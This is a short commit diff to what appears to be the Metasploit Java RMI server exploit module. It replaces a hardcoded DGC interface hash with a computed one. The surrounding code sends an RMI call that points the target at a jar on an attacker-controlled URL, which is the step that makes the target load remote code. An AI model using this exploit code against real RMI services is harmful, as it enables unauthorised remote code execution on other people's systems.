Use calculate_interface_hash

Author: jvazquez-r7

modules/exploits/multi/misc/java_rmi_server.rb

@@ -126,14 +126,31 @@ def primer
     new_url = get_uri + '/' + jar
 
     print_status("#{peer} - Sending RMI Call...")
-    #send_call(call_data: build_gc_call_data(new_url))
+    dgc_interface_hash = calculate_interface_hash(
+      [
+        {
+          name: 'clean',
+          descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/VMID;Z)V',
+          exceptions: ['java.rmi.RemoteException']
+        },
+        {
+          name: 'dirty',
+          descriptor: '([Ljava/rmi/server/ObjID;JLjava/rmi/dgc/Lease;)Ljava/rmi/dgc/Lease;',
+          exceptions: ['java.rmi.RemoteException']
+        }
+      ]
+    )
+
+    # JDK 1.1 stub protocol
+    # Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub)
+    # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean))
     send_call(
       object_number: 2,
       uid_number: 0,
       uid_time: 0,
       uid_count: 0,
       operation: 0,
-      hash: 0xf6b6898d8bf28643, #dgc_interface_hash
+      hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash
       arguments: build_dgc_clean_args(new_url)
     )